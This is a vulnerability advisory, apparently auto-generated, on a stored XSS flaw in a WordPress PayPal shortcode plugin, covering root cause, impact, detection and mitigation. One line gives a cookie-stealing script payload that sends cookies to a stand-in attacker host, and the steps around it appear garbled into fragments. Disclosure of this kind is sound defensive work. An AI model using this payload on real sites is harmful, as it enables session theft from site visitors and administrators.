
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-3617 is a Stored Cross-Site Scripting (XSS) vulnerability in the Paypal Shortcode plugin for WordPress, affecting all versions up to and including 0.3. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts via the amount and name shortcode attributes, which execute whenever a user visits an affected page. The vulnerability was published on March 21, 2026, and was assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, EUVD).
The root cause is insufficient input sanitization and output escaping (CWE-79) in the swer_paypal_shortcode() function. At line 89 of paypal-shortcodes.php, shortcode attributes are extracted using PHP's extract() and WordPress's shortcode_atts() functions. The resulting $name and $amount variables are then directly concatenated into HTML <input> element value attributes at lines 105–106 without applying esc_attr() or any other escaping function, allowing injected scripts to be stored and rendered in page output (Wordfence, WordPress Trac).
Successful exploitation allows an authenticated attacker (Contributor role or higher) to persistently inject malicious JavaScript into WordPress pages. When other users — including administrators — visit the compromised page, the injected script executes in their browser context, potentially enabling session cookie theft, credential harvesting, unauthorized administrative actions, or further site compromise. The changed scope in the CVSS vector reflects that the impact extends beyond the attacker's own session to affect other users of the site (Wordfence).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-3617 as of the available data. The EPSS score is approximately 0.036%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).
[paypal name="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" amount="1"] into the post content.$name or $amount value is rendered directly into the HTML, causing the injected script to execute in the victim's browser (Wordfence, WordPress Trac).wp-admin/post.php or the REST API containing <script> tags or encoded JavaScript within name or amount shortcode parameters.wp_posts table containing [paypal shortcodes with HTML/JavaScript payloads in the name or amount attributes.Site administrators should immediately update the Paypal Shortcode plugin beyond version 0.3 if a patched release is available, or deactivate and remove the plugin until a fix is confirmed. As a workaround, restrict the Contributor role from creating or editing posts that include the [paypal] shortcode, or use a capability management plugin to limit shortcode usage. Regularly audit post content in the WordPress database for unexpected script tags in shortcode attributes (Wordfence).
The vulnerability was reported and assigned by Wordfence, a leading WordPress security firm, as part of their routine plugin vulnerability disclosure program. Coverage has been limited to automated vulnerability aggregation sites and a brief technical post on Infinitsec. No significant vendor statements, notable researcher commentary, or broad media coverage has been identified beyond standard CVE publication (Wordfence).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."